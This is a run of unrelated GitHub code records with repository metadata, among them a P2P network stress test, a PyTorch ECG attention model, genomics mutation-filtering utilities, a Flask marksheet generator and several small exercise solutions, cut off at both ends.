reactor so we don't have to do it in the nodes.'''\n global numNodes\n \n # This is the IP of the node. Note: This MUST be \n # an external ID or the code won't work!\n self.myIP = NetworkUtils.getNonLoopbackIP (None, None)\n \n self.allNodes = []\n self.timeout = (timeLimit + 3) * 60 # How many seconds to try before erroring out\n self.connectedNodeList = [] # How many are currently connected?\n self.msgTracker = dict() # Stores tuples (expectedNumMessages, msgObserver)\n self.testCounter = -1 \n \n @defer.inlineCallbacks\n def testLongSerialP2PSending(self):\n \n \n # Start a bootstrap node\n (status, self.bsNode, observer) = yield TestUtils.startupBootstrapNode(self.myIP, 12345, 'localhost')\n self.assertTrue(status, 'Could not build bootstrap node')\n self.allNodes.append(self.bsNode)\n self.bsNode.addMessageObserver(self.messageReceived)\n self.msgTracker[self.bsNode] = [0, observer] # Number of messages, observer\n \n \n # Start client nodes\n log.msg(\"Building nodes...\")\n for i in range(numNodes):\n (status, node, observer) = yield TestUtils.startupClientNode(self.myIP, 12346+i, 'localhost', self.bsNode.nodeLocation)\n self.assertTrue(status, 'Could not startupClientNode')\n self.allNodes.append(node)\n self.msgTracker[node] = [0, observer] # Number of messages, observer\n \n\n # Wait for flooding to reach all the nodes\n waiter = ConnectivityCounter()\n yield waiter.waitForConnectivity(numNodes+1, self.bsNode) # Does not count bsNode itself.\n \n # Do the real test\n reactor.callLater(60 * timeLimit, self.stopTest)\n self.keepRunning = True\n status = yield self.doStressTest()\n \n # Now close it all down!\n yield self.allLeave()\n \n # Wait a second or two\n yield TestUtils.wait(Config.CONNECTION_CACHE_DELAY + 3)\n \n defer.returnValue(True)\n\n def stopTest(self):\n self.keepRunning = False\n\n @defer.inlineCallbacks\n def doStressTest(self):\n '''Randomly pick two nodes and send a message between them. Verify that it goes.'''\n \n \n endTime = datetime.datetime.now() + datetime.timedelta(minutes=timeLimit)\n \n numMessages = 0\n msgText = dict()\n msgText['type'] = 'COUNT'\n #\"Test number %d \" % numMessages\n\n while self.keepRunning:\n \n numMessages += 1\n if numMessages % 100 == 0:\n remainingTime = endTime - datetime.datetime.now()\n log.msg(\"Running test message %d . Time remaining: %s\" % (numMessages, remainingTime))\n #yield TestUtils.wait(1)\n \n if numMessages % 1000 == 0: \n TestUtils.showOpenConnections()\n \n \n (srcNode, dstNode) = random.sample(self.allNodes, 2)\n\n # ------------------\n # P2P Test ----\n # ------------------\n\n # Build the envelope\n env = CopyEnvelope()\n env['ttl'] = datetime.datetime.now() + datetime.timedelta(minutes=10)\n env['source'] = srcNode.nodeLocation\n env['type'] = 'p2p'\n env['destination'] = dstNode.nodeLocation.id\n env['msgID'] = random.getrandbits(128) # TODO: Something better here!\n \n \n status = yield srcNode.sendSyncMessage(msgText, env) \n self.assertTrue(status, \"Message [%s] -> [%s] returned False!\" % (srcNode, dstNode))\n \n # Increment the number of messages dst node should have\n self.msgTracker[dstNode][0] = self.msgTracker[dstNode][0] + 1\n \n # ------------------\n # Flooding Test ----\n # ------------------\n \n # Now also send a flooding message from the same node to all others\n env = CopyEnvelope()\n env['ttl'] = datetime.datetime.now() + datetime.timedelta(minutes=10)\n env['source'] = srcNode.nodeLocation\n env['type'] = 'flood'\n env['destination'] = None\n env['msgID'] = random.getrandbits(128)\n env['enclave'] = 'localhost'\n \n status = yield srcNode.sendFloodingMessage(msgText, env) \n self.assertTrue(status, \"Flooding Message [%s] returned False!\" % srcNode)\n \n # Increment the number of messages all nodes should get\n for (_node, valList) in self.msgTracker.iteritems():\n #if _node != srcNode:\n valList[0] = valList[0] + 1\n\n \n \n self.checkResults()\n \n defer.returnValue(True)\n \n \n def checkResults(self):\n for node, value in self.msgTracker.iteritems():\n got = value[1].getMessageCount()\n expected = value[0]\n log.msg(\" Node:%s Expected:%s Got:%s \" % (node.nodeLocation, expected, got))\n self.assertEqual(got, expected, \"Node %s did not recv the expected number of messages. Got:%s Expected:%s \" % (node.nodeLocation, got, expected))\n\n \n\n def messageReceived(self, msg, dummy_envelope):\n '''This is a receiver for the bootstrap node only!\n \n We got a message. For flooding pingbacks the message format is:\n type:PINGBACK\n loc:sender\n msgNum:number\n '''\n if not isinstance(msg, dict):\n return\n \n if 'type' in msg:\n theType= msg['type']\n if theType == \"PINGBACK\":\n \n if msg['msgNum'] == 0: # Setup message only\n # Add the sender to the list of nodes we know of\n self.addNode(msg['loc'])\n #print(\"Metrics NetworkConnect addNode: %s\" % str(msg['loc']))\n elif msg['msgNum'] == self.testCounter:\n # We have a message from a current PING, count it!\n self.connectedNodeList.append(msg['loc'])\n else: \n # Typically this means a message came in late\n log.msg(\"SerialStressTest got an unknown message:%s\" % msg) \n \n \n def allLeave(self):\n '''Tell the node to leave the network.'''\n for node in self.allNodes:\n node.leave()\n \n return True\n","repo_name":"danfleck/Class-Chord","sub_path":"network-client/src/tests/OneHourTest.py","file_name":"OneHourTest.py","file_ext":"py","file_size_in_byte":8201,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"28204640894","text":"import services\n\nfrom fastapi import FastAPI\n\nApp = FastAPI()\n\n\n@App.get('/get-word/{word}')\nasync def find_word(word):\n\n return services.find_word(word)\n\n\n@App.get('/all-words')\nasync def all_words():\n return services.all_words()\n","repo_name":"OtavioESP/data-stream","sub_path":"api.py","file_name":"api.py","file_ext":"py","file_size_in_byte":237,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"61"} +{"seq_id":"73893282115","text":"\"\"\"\n16. Write a Python program to find the second lowest grade of any student(s) from the given names and\ngrades of each student using lists and lambda. Input number of students, names and grades of each student.\nInput number of students: 5\nName: S ROY\nGrade: 1\nName: B BOSE\nGrade: 3\nName: N KAR\nGrade: 2\nName: C DUTTA\nGrade: 1\nName: G GHOSH\nGrade: 1\nNames and Grades of all students:\n[['S ROY', 1.0], ['B BOSE', 3.0], ['N KAR', 2.0], ['C DUTTA', 1.0], ['G GHOSH', 1.0]]\nSecond lowest grade: 2.0\nNames:\nN KAR\n\"\"\"\nSTUDENTS = [['S ROY', 1.0], ['B BOSE', 3.0], ['N KAR', 2.0], ['C DUTTA', 1.0], ['G GHOSH', 1.0]]\n\n\nif __name__ == '__main__':\n STUDENTS.sort(key=lambda x: x[1])\n second_grade = sorted(set([datum[1] for datum in STUDENTS]))[-2]\n print(f'Second lowest grade: {second_grade}')\n second_grade_students = [datum for datum in STUDENTS if datum[1] == second_grade]\n print('Names:')\n for datum in second_grade_students:\n print(f'{datum[0]}')\n","repo_name":"aoki-h-jp/playground","sub_path":"python-w3resource-exercises/python-lambda/016.py","file_name":"016.py","file_ext":"py","file_size_in_byte":971,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"8261908818","text":"import traceback\nimport sys\nimport logging\nfrom discord.ext import commands\nfrom errorhandling.exceptions.tenman.entityerror import EntityError\nfrom errorhandling.exceptions.tenman.initializationerror import InitializationError\nfrom errorhandling.exceptions.tenman.turnerror import TurnError\nfrom errorhandling.exceptions.tenman.phaseerror import PhaseError\n\nLOGGER = logging.getLogger(\"goldlog\")\n\n\nclass CommandErrorHandler(commands.Cog):\n def __init__(self, bot):\n LOGGER.info(\"Initialized Command Error Handler cog.\")\n self.bot = bot\n\n @commands.Cog.listener()\n async def on_command_error(self, ctx, error):\n error = getattr(error, \"original\", error)\n if isinstance(error, commands.MissingRequiredArgument):\n await ctx.channel.send(\n content=\"You are missing required arguments for this command:\\n`\" + error.param.name +\n \"`\")\n elif isinstance(error, (commands.BadArgument, commands.UserInputError, commands.ArgumentParsingError,\n commands.MissingAnyRole, commands.MissingRole, commands.CommandError,\n EntityError, TurnError, PhaseError, InitializationError)):\n await ctx.channel.send(content=error.args[0])\n else:\n LOGGER.error(error, exc_info=True)\n traceback.print_exception(type(error), error, error.__traceback__, file=sys.stderr)\n\n\ndef setup(bot):\n bot.add_cog(CommandErrorHandler(bot))\n","repo_name":"Monroeshindelar/Goldbot-py","sub_path":"cogs/commanderrorhandlercog.py","file_name":"commanderrorhandlercog.py","file_ext":"py","file_size_in_byte":1494,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"29696444824","text":"import torch\nimport math\nimport scipy.io as sci\nimport torch.nn as nn\nimport torch.nn.functional as F\nfrom torch.autograd import Variable\nimport torch.utils.data as Data\n\ntorch.cuda.set_device(1)\nuse_cuda = torch.cuda.is_available()\n\nN, T ,D= 50, 8, 500\t#opt.batch_size, opt.seq_length , word_dim\t\n\n#########################################################\ntrainset = torch.from_numpy(sci.loadmat('/home/lu/code/pytorch/D1TrainCCDD.mat')['trainset']*0.0048).clone()\ntrain_len = trainset.size()[0]\n\ntrain_label = torch.cuda.LongTensor(train_len)\nfor i in range(6):\n train_label[i*10800:(i+1)*10800] = i\n\ntrain_dataset = Data.TensorDataset(data_tensor=trainset, target_tensor=train_label)\n\ntrain_loader = Data.DataLoader(\n dataset = train_dataset,\n batch_size = N,\n shuffle = True,\n)\n\n#process testdata and testlabel\ntestset = torch.from_numpy(sci.loadmat('/home/lu/code/pytorch/D1TestCCDD.mat')['testset']*0.0048).clone()\ntest_len = testset.size()[0]\n\ntest_label = torch.cuda.LongTensor(7200)\nfor i in range(6):\n test_label[i*1200:(i+1)*1200] = i\n\ntest_dataset = {'data':testset,'label':test_label}\n\nprint('train_len = %d, test_len = %d'%(train_len, test_len))\n\n##################################################\nclass EncoderRNN(nn.Module):\n def __init__(self, input_size, hidden_size, n_layers=1):\n super(EncoderRNN, self).__init__()\n self.n_layers = n_layers\n self.hidden_size = hidden_size\n\n self.gru = nn.GRU(input_size, hidden_size, bidirectional = True)\n\n def forward(self, input):\n \n output, hidden = self.gru(input)\n\n output = output.transpose(0,1)\n hidden = torch.cat((hidden[0],hidden[1]),1)\n\n return output, hidden\n\nclass AttnDecoderRNN(nn.Module):\n def __init__(self, hidden_size, output_size, n_layers=1, dropout_p=0.1, max_length=T):\n super(AttnDecoderRNN, self).__init__()\n self.hidden_size = hidden_size\n self.output_size = output_size\n self.n_layers = n_layers\n self.dropout_p = dropout_p\n self.max_length = max_length\n\n self.attn = nn.Linear(self.hidden_size*2, self.max_length)\n self.attn_combine = nn.Linear(self.hidden_size*2, self.hidden_size)\n self.dropout = nn.Dropout(self.dropout_p)\n self.gru = nn.GRU(self.hidden_size, self.hidden_size)\n self.out = nn.Linear(self.hidden_size, self.output_size)\n\n def forward(self, hidden, encoder_outputs):\n \n attn_weights = F.softmax(self.attn(hidden))\n attn_applied = torch.bmm(attn_weights.unsqueeze(1), encoder_outputs)\n attn_applied = attn_applied.squeeze(1)\n #output = torch.cat((input[0], attn_applied[0]), 1)\n output = self.attn_combine(attn_applied)\n output = F.sigmoid(output)\n output = self.out(output)\n #output = F.log_softmax(self.out(output[0]))\n \n return output, hidden, attn_weights\n\n\ndef train(input_variable, target_variable, encoder, decoder, encoder_optimizer, decoder_optimizer, criterion, max_length=T):\n\n encoder_optimizer.zero_grad()\n decoder_optimizer.zero_grad()\n\n loss = 0\n\n encoder_outputs, encoder_hidden = encoder(input_variable)\n \n decoder_hidden = encoder_hidden\n \n decoder_output, decoder_hidden, attn_weights = decoder(decoder_hidden, encoder_outputs)\n\n loss += criterion(decoder_output, target_variable)\n\n loss.backward()\n\n encoder_optimizer.step()\n decoder_optimizer.step()\n\n return loss.data[0]\n\ndef test(input_variable, encoder, decoder):\n\n input_variable = Variable(input_variable.view(T,1,D))\n input_variable = input_variable.type('torch.cuda.FloatTensor')\n\n encoder_outputs, encoder_hidden = encoder(input_variable)\n \n \n decoder_hidden = encoder_hidden\n \n decoder_output, decoder_hidden, attn_weights = decoder(decoder_hidden, encoder_outputs)\n \n top_n, top_i = decoder_output.data.topk(1)\n \n return top_i[0][0]\n\ndef trainIters(encoder, decoder, learning_rate=0.001):\n\n n_epochs = 50\n current_loss = 0\n all_losses = []\n err_rate = []\n confusion = torch.zeros(6, 6)\n err = 0\n\n encoder_optimizer = torch.optim.Adam(encoder.parameters(), lr=learning_rate)\n decoder_optimizer = torch.optim.Adam(decoder.parameters(), lr=learning_rate)\n\n criterion = nn.CrossEntropyLoss()\n\n for epoch in range(1, n_epochs+1):\n for step1,(batch_x, batch_y) in enumerate(train_loader):\n batch_x = Variable(batch_x.type('torch.cuda.FloatTensor'))\n batch_y = Variable(batch_y.type('torch.cuda.LongTensor'))\n\n loss = train(batch_x.view(N,T,D).transpose(0,1), batch_y, encoder,\n decoder, encoder_optimizer, decoder_optimizer, criterion)\n \n current_loss += loss\n \n for i in range(test_len):\n guess = test(test_dataset['data'][i], encoder, decoder)\n #print(guess)\n if guess != test_dataset['label'][i]:\n err += 1\n \n if epoch == n_epochs:\n confusion[guess][test_dataset['label'][i]] += 1 \n\n print(current_loss/(step1+1))\n all_losses.append(current_loss/(step1+1))\n err_rate.append((1-err/test_len)*100)\n\n print('%d epoch:, err number = %d, err rate = %.2f%%'%(epoch, err, ((1-err/test_len)*100)))\n \n current_loss = 0\n err = 0\n\n import matplotlib.pyplot as plt\n import matplotlib.ticker as ticker\n\n plt.figure()\n plt.plot(all_losses)\n plt.title('loss')\n plt.figure()\n plt.plot(err_rate)\n plt.title('err')\n\n\n print(confusion)\n fig = plt.figure()\n ax = fig.add_subplot(111)\n cax = ax.matshow(confusion.numpy())\n fig.colorbar(cax)\n\n\n plt.show()\n\n\n\nhidden_size = 300\nencoder = EncoderRNN(D, hidden_size)\ndecoder = AttnDecoderRNN(hidden_size, 6, 1)\n\nif use_cuda:\n encoder = encoder.cuda()\n decoder = decoder.cuda()\n\ntrainIters(encoder, decoder)\n","repo_name":"LuZhenHuan/ECG-Classification-Demo","sub_path":"other ECG model/CCDD_Atten.py","file_name":"CCDD_Atten.py","file_ext":"py","file_size_in_byte":5935,"program_lang":"python","lang":"en","doc_type":"code","stars":120,"dataset":"github-code","pt":"61"} +{"seq_id":"23561219381","text":"\ndef is_tidy(N):\n return N == sorted(N)\n\ndef index_untidy(N):\n for i in range(len(N)):\n if not is_tidy(N[:i+1]):\n return i\n # return len(N)\n\ndef index_eq(N):\n for i in range(len(N)):\n if N[i] == N[-1]:\n return i\n\ndef pr(N):\n res = ''\n for n in N:\n res = res + str(n)\n return str(int(res))\n return res\n\n\ndef search_tidy(N):\n if is_tidy(N):\n return pr(N)\n i = index_untidy(N)-1\n if i<len(N):\n N = N[:i] + [N[i]-1] + [9] * (len(N)-i-1)\n return search_tidy(N)\n\n\nT = int(input().strip())\nfor t in range(T):\n N = list(map(int, input().strip()))\n print('Case #'+str(t+1)+': '+search_tidy(N))\n","repo_name":"dr-dos-ok/Code_Jam_Webscraper","sub_path":"solutions_python/Problem_200/4317.py","file_name":"4317.py","file_ext":"py","file_size_in_byte":684,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"17346186767","text":"#18 - The Meaning of Liff 3D\r\nwith open('input.txt', 'r') as input:\r\n\tinputs = input.readlines()\r\nanswer = 0\r\n\r\ndef evaluate(line):\r\n\tpieces, chara = [], 0\r\n\tnumPieces = len(line)\r\n\twhile chara < numPieces:\r\n\t\tif line[chara].isdigit() or (line[chara] == \")\" and pieces[-2] == \"(\") :\r\n\t\t\tif line[chara].isdigit(): n = int(line[chara])\r\n\t\t\twhile pieces:\r\n\t\t\t\tif pieces[-1] == '(': break\r\n\t\t\t\tif pieces[-1] == '+': n += pieces[-2]\r\n\t\t\t\telif pieces[-1] == '*': n *= pieces[-2]\r\n\t\t\t\tpieces = pieces[:-2]\r\n\t\t\tpieces.append(n)\r\n\t\telif line[chara] != \" \" and line[chara] != \")\":pieces.append(line[chara])\r\n\t\t\r\n\t\t\r\n\t\tchara+=1\r\n\t\t\r\n\treturn n\r\n\t\r\nfor line in inputs:\r\n\tline=line.strip()\r\n\tans = evaluate(line)\r\n\tprint (line,\"=\", ans )\r\n\tanswer +=ans\r\n\r\nprint (answer)\r\n\t","repo_name":"EmceeN/advent20","sub_path":"18/18a.py","file_name":"18a.py","file_ext":"py","file_size_in_byte":759,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"75216618","text":"import collections\nimport heapq\n\nclass Solution:\n def findCheapestPrice(self, n, flights, src, dst, K):\n graph = collections.defaultdict(collections.defaultdict)\n for u, v, w in flights:\n graph[u][v] = w\n heap = [(0, src, K+1)] \n while heap:\n price, node, k = heapq.heappop(heap) # to get the cheapest flight at every step\n \n if node==dst:\n return price\n \n if k>0:\n for nei in graph[node]:\n item = (price + graph[node][nei], nei, k-1)\n heapq.heappush(heap, item)\n \n return -1","repo_name":"Anirudh-Muthukumar/Leetcode-Solutions","sub_path":"787. Cheapest Flights Within K Stops/787. Cheapest Flights Within K Stops.py","file_name":"787. Cheapest Flights Within K Stops.py","file_ext":"py","file_size_in_byte":654,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"744399912","text":"\"\"\"\nFunctions requiring numpy\n\"\"\"\nimport numpy as np\n\nfrom .opus import FileHeaderEntry, read_parameter_list_as_dict_to_end\n\n\ndef calculate_xvalues(plist_entry: FileHeaderEntry, fin):\n fin.seek(plist_entry.offset)\n pl = read_parameter_list_as_dict_to_end(fin)\n npt = pl['NPT']\n fxv = pl['FXV']\n lxv = pl['LXV']\n return np.linspace(fxv, lxv, npt), pl['DXU']\n","repo_name":"srtlg/opus","sub_path":"opus/math.py","file_name":"math.py","file_ext":"py","file_size_in_byte":375,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"24989125123","text":"from pyfaidx import Fasta as _Fasta\nimport numpy as _np\nimport sys as _sys\nimport fastmmap\nimport pandas as _pd\nimport tqdm as _tqdm\nfrom . import seq as _seq\nimport os as _os\nimport scipy.stats as _ss\n\n_byte_LuT = [None]*256\nfor i in _np.r_[0:256].astype(_np.uint8):\n\t_byte_LuT[i] = _np.flatnonzero(_np.unpackbits(i))\n\n# Replace MAF spec column names with human readable oens\ndef standardize_maf(m):\n\trf = [\n ['gene','Hugo_Symbol','Gene_name'],\n ['patient','pat','Tumor_Sample_Barcode','Patient_name','sample'],\n ['chr','Chromosome'],\n ['pos','Position','start','Start_position','Start_Position'],\n ['ref_allele','Reference_Allele','ref'],\n ['newbase','Tumor_Allele','Tum_allele','Alt_allele','Alternate_allele','Tumor_Seq_Allele2','tum_allele2'],\n ['type','Variant_Classification'],\n ['classification','Variant_Type']]\n\n\tf = m.columns\n\tfor i in range(0,len(rf)):\n\t\tmatches = f[f.isin(rf[i])]\n\t\tif len(matches)==0:\n\t\t\tcontinue\n\t\telif len(matches)>1:\n\t\t\tprint(f\"Mutation file contains multiple columns for {rf[i][0]} info:\")\n\t\t\tprint(matches)\n\t\t\t\n\t\tmatches = rf[i][0] if rf[i][0] in matches else matches[0]\n\t\tm = m.rename(columns={matches : rf[i][0]})\n\treturn(m)\n\n# Converts single maf dataframe to M format\n# Unlike matlab version, string indices are used\ndef maf2M(m):\n\tM = dict()\n\tM['mut'] = m\n\t\n\tfor f in ['patient','gene']:\n\t\tif f in m.columns:\n\t\t\tu,uj,ct = _np.unique(m[f],return_inverse=True,return_counts=True)\n\t\t\tM[f] = _pd.DataFrame(index=u)\n\t\t\tM[f]['nmut'] = ct\n\t\t\tM['mut'][f+'_idx'] = uj\n\n\treturn(M)\n\n\ndef filter_mutations_against_gnomAD(M, ref = None, field_map = None, gnomad_dir = None):\n\t# set gnomAD bitwise track reference directory\n\t_seq.set_gnomad_ref_params(gnomad_dir = gnomad_dir)\n\n\t# assume default columns \"chr\", \"pos\", \"ref\", \"newbase\"\n\tif field_map is None:\n\t\tfield_map = dict(zip(M.columns, range(0, len(M.columns))))\n\n\tif not _np.all([x in field_map for x in [\"chr\", \"pos\", \"ref\", \"newbase\"]]):\n\t\traise KeyError(\"Default fieldname not found in columns!\")\n\n\t# get column names of chromosome, position, reference/mutant alleles\n\tchr_f = M.columns[field_map[\"chr\"]]\n\tpos_f = M.columns[field_map[\"pos\"]]\n\tref_f = M.columns[field_map[\"ref\"]]\n\tnewbase_f = M.columns[field_map[\"newbase\"]]\n\n\tif not _np.issubdtype(M[chr_f].dtype, _np.integer):\n\t\traise ValueError(\"Chromosomes must be specified as integers, 1-24\")\n\n\tM[\"SSNV_idx\"] = M[ref_f].isin(list(\"ACGT\")) & M[newbase_f].isin(list(\"ACGT\"))\n\n\t# store overlapping coordinates in dataframe\n\tO = []\n\t\n\t# loop over chromosomes; query gnomAD for each\n\tfor ch, Mc in _tqdm.tqdm(M.groupby(chr_f)):\n\t\t# gnomAD has no sex chromosome variants\n\t\tif ch >= 23:\n\t\t\tbreak\n\n\t\tz = _np.zeros(_seq.get_chrlens(ref = ref)[ch - 1], dtype = _np.bool);\n\n\t\t# get 1 bit packed gnomAD representations for:\n\t\t# - all alleles\n\t\t# - SNP-specific alleles\n\t\tfor base in [\"all\"] + list(\"ACGT\"):\n\t\t\tm = _np.copy(z)\n\t\t\tif base != \"all\":\n\t\t\t\t_seq.set_gnomad_ref_params(bin_stem = \"to_\" + base)\n\n\t\t\t\tm[Mc.loc[Mc[\"SSNV_idx\"] & (Mc[newbase_f] == base), pos_f] - 1] = True;\n\t\t\telse:\n\t\t\t\tm[Mc[pos_f] - 1] = True;\n\n\t\t\t# pack mutation coordinates into 1 bit array\n\t\t\tm = _np.packbits(m)\n\n\t\t\t# get gnomAD packed array\n\t\t\tg = _seq.query_gnomad_1bit_raw(ch);\n\n\t\t\t# compute bitwise intersection; index nonzero sites\n\t\t\tbitwise_overlap = g & m \n\t\t\tbwol_idx = _np.flatnonzero(bitwise_overlap)\n\n\t\t\tif len(bwol_idx) > 0:\n\t\t\t\t# unpack bitwise intersection to coordinates and append to DF\n\t\t\t\tol_pos = _np.hstack([\n\t\t\t\t\t\t_byte_LuT[byte] + 8*idx for byte, idx in\n\t\t\t\t\t\tzip(bitwise_overlap[bwol_idx], bwol_idx)\n\t\t\t\t]) + 1\n\t\t\t\tO.append(_pd.DataFrame({ \"chr\" : ch, \"pos\" : ol_pos, \"allele\" : base }))\n\n\tO = _pd.concat(O)\n\n\t# intersect with mutations\n\tM[\"gpos\"] = _seq.chrpos2gpos(M[\"chr\"], M[\"pos\"], ref = ref)\n\tO[\"gpos\"] = _seq.chrpos2gpos(O[\"chr\"], O[\"pos\"], ref = ref)\n\n\tfor base in [\"all\"] + list(\"ACGT\"):\n\t\tM[\"gnomAD_\" + base] = M[\"gpos\"].isin(O.loc[O[\"allele\"] == base, \"gpos\"])\n\n\treturn M.drop(columns = [\"gpos\", \"SSNV_idx\"])\n\ndef filter_mutations_against_token_PoN(M, ponfile, ref = None):\n\tif not all([x in M.columns for x in [\"n_ref\", \"n_alt\"]]):\n\t\tprint(\"You must provide alt/refcounts as MAF columns n_alt/n_ref, respectively!\", file = _sys.stderr)\n\t\treturn\n\n\ttok_hist = get_pon(M, ponfile, ref = ref)\n\n\t# get beta distribution densities within each AF bin\n\tbeta_dens = _np.diff(_ss.beta.cdf(\n\t _np.r_[0, .001, .003, .03, .2, 1][None, :],\n\t M[\"n_alt\"][:, None] + 1,\n\t M[\"n_ref\"][:, None] + 1\n\t), 1)\n\n\t# dot this with cumulative distribution (upper) of relevant tokens\n\ttok_hist_subset = tok_hist[:, 2:7]\n\ttok_hist_subset[:, -1] += tok_hist[:, -1]\n\ttok_cum_dist = _np.flip(_np.flip(tok_hist_subset, 1).cumsum(1), 1)/(tok_hist[0, :].sum())\n\n\treturn _np.log10(_np.sum(beta_dens*tok_cum_dist, 1) + 1e-20)\n\ndef get_pon(M, ponfile, ref = None):\n\tif not _os.path.isfile(ponfile):\n\t\tprint(\"Path to PoN file {} not found!\".format(ponfile), file = _sys.stderr) \n\t\treturn\n\n\tgpos = _np.array(_seq.chrpos2gpos(M[\"chr\"], M[\"pos\"], ref = ref))\n\n\treturn fastmmap.query(\n\t ponfile,\n\t 2,\n\t _np.add.outer(8*gpos, _np.r_[0:8]).ravel()\n\t ).reshape([-1, 8])\n\ndef map_mutations_to_targets(M, T, allow_multimap = False, inplace = True, chrcol = \"chr\", poscol = \"pos\", startcol = \"start\", endcol = \"end\"):\n\tMa = M.loc[:, [chrcol, poscol]].reset_index(drop = True).reset_index().sort_values([chrcol, poscol]).to_numpy()\n\tTa = T.loc[:, [chrcol, startcol, endcol]].reset_index(drop = True).reset_index().sort_values([chrcol, startcol, endcol]).to_numpy()\n\n\ti = 0\n\td = {}\n\tfor m in Ma:\n\t\t# advance targets until target start <= mutation position\n\t\twhile (m[1] > Ta[i, 1] or (m[2] > Ta[i, 3] and m[1] == Ta[i, 1])) and i < Ta.shape[0] - 1:\n\t\t\ti += 1\n\n\t\t# loop over all targets that mutation may overlap\n\t\tj = 0\n\t\twhile i + j < Ta.shape[0] and m[2] >= Ta[i + j, 2] and m[2] <= Ta[i + j, 3] and m[1] == Ta[i + j, 1]:\n\t\t\tif allow_multimap:\n\t\t\t\traise NotImplementedError(\"Mapping to mutiple overlapping targets not yet supported \")\n\t\t\t\tif m[0] not in d:\n\t\t\t\t\td[m[0]] = {Ta[i + j, 0]}\n\t\t\t\telse:\n\t\t\t\t\td[m[0]].add(Ta[i + j, 0])\n\t\t\t\tj += 1\n\t\t\telse:\n\t\t\t\td[m[0]] = Ta[i + j, 0]\n\t\t\t\tbreak\n\n\td = _pd.Series(d)\n\tif inplace:\n\t\tM[\"targ_idx\"] = -1\n\t\tM.loc[d.index, \"targ_idx\"] = d\n\telse:\n\t\treturn d\n\ndef convert_chr(chrnames):\n\t# maps (chr)1-22,X,Y,MT -> 1-22,23,24,0\n\tchrrange = list(range(0, 25))\n\tnames = [\"chr\" + str(x) for x in [\"MT\"] + list(range(1, 23)) + [\"X\", \"Y\"]] + \\\n [str(x) for x in [\"MT\"] + list(range(1, 23)) + [\"X\", \"Y\"]]\n\tmapper = dict(zip(names, 2*chrrange))\n\treturn _pd.Series(chrnames).apply(lambda x : mapper[x] if x in mapper else x)\n\ndef convert_chr_back(chridxs):\n\t# maps 1-22,23,24,0 -> chr1-22,X,Y,MT\n\tchrrange = list(range(0, 25))\n\tnames = [\"chr\" + str(x) for x in [\"MT\"] + list(range(1, 23)) + [\"X\", \"Y\"]]\n\tmapper = dict(zip(chrrange, names))\n\treturn _pd.Series(chridxs).apply(lambda x : mapper[x] if x in mapper else x)\n","repo_name":"getzlab/CApy","sub_path":"capy/mut.py","file_name":"mut.py","file_ext":"py","file_size_in_byte":6950,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"61"} +{"seq_id":"6808544918","text":"from flask import Flask, render_template, request,send_file\r\nfrom PIL import Image, ImageDraw, ImageFont\r\nimport xlrd\r\nimport io\r\n\r\napp = Flask(__name__)\r\n\r\n# Define the font to use for text\r\nfont = ImageFont.truetype('arial.ttf', 22)\r\n\r\n# Define the position of each text element\r\npositions = [\r\n (260, 400),\r\n (1760, 400),\r\n (940, 555),\r\n (1400, 555),\r\n (1800, 555),\r\n (500, 505)\r\n]\r\n\r\n# Load the blank certificate image\r\ncertificate_blank = Image.open('Print_Marksheet.tiff')\r\n\r\n# Open the Excel sheet\r\nworkbook = xlrd.open_workbook('Registration_Details.xls')\r\nsheet = workbook.sheet_by_index(0)\r\n\r\n@app.route('/')\r\ndef index():\r\n return render_template('index.html')\r\n\r\n@app.route('/generate', methods=['POST'])\r\ndef generate():\r\n # Get the data from the form\r\n name = request.form['name']\r\n rollno = request.form['rollno']\r\n\r\n # Find the row in the Excel sheet\r\n row = None\r\n for i in range(1, sheet.nrows):\r\n if sheet.cell_value(i, 1) == name and sheet.cell_value(i, 3) == rollno:\r\n row = i\r\n break\r\n\r\n # If the row is found, generate the marksheet\r\n if row is not None:\r\n # Get the data for this row\r\n name = sheet.cell_value(row, 1)\r\n date = sheet.cell_value(row, 2)\r\n rollno = sheet.cell_value(row, 3)\r\n enroll = sheet.cell_value(row, 4)\r\n batch = sheet.cell_value(row, 5)\r\n fname = sheet.cell_value(row, 6)\r\n\r\n # Combine the text elements into a single string\r\n text = f'{name}\\n{date}\\n{rollno}\\n{enroll}\\n{batch}\\n{fname}'\r\n\r\n # Create a new image with the text added\r\n certificate = certificate_blank.copy()\r\n draw = ImageDraw.Draw(certificate)\r\n for position, line in zip(positions, text.split('\\n')):\r\n draw.text(position, line, font=font, fill=(0, 0, 0))\r\n # Save the image as a bytes buffer\r\n # Save the image as bytes\r\n img_bytes = io.BytesIO()\r\n certificate.save(img_bytes, format='TIFF')\r\n img_bytes.seek(0)\r\n\r\n return send_file(io.BytesIO(img_bytes.getvalue()), mimetype='image/tif', as_attachment=True, download_name='marksheet.tif')\r\n\r\n\r\n else:\r\n return 'Data not found'\r\n\r\nif __name__ == '__main__':\r\n app.run(debug=True)\r\n","repo_name":"shraddhaHS/minor-project","sub_path":"app.py","file_name":"app.py","file_ext":"py","file_size_in_byte":2289,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"15765101605","text":"import numpy as np\r\nimport matplotlib.pyplot as plt\r\nfrom matplotlib import style\r\nstyle.use(\"ggplot\")\r\nfrom sklearn.cluster import KMeans\r\nx = [1, 5, 1.5, 8, 1, 9]\r\ny = [2, 8, 1.8, 8, 0.6, 11]\r\n\r\n#plt.scatter(x,y)\r\n#plt.show()\r\nX = np.array([[1, 2],\r\n [5, 8],\r\n [1.5, 1.8],\r\n [8, 8],\r\n [1, 0.6],\r\n [9, 11]])\r\n\r\nkmeans = KMeans(n_clusters=2)\r\nkmeans.fit(X)\r\n\r\ncentroids = kmeans.cluster_centers_\r\nlabels = 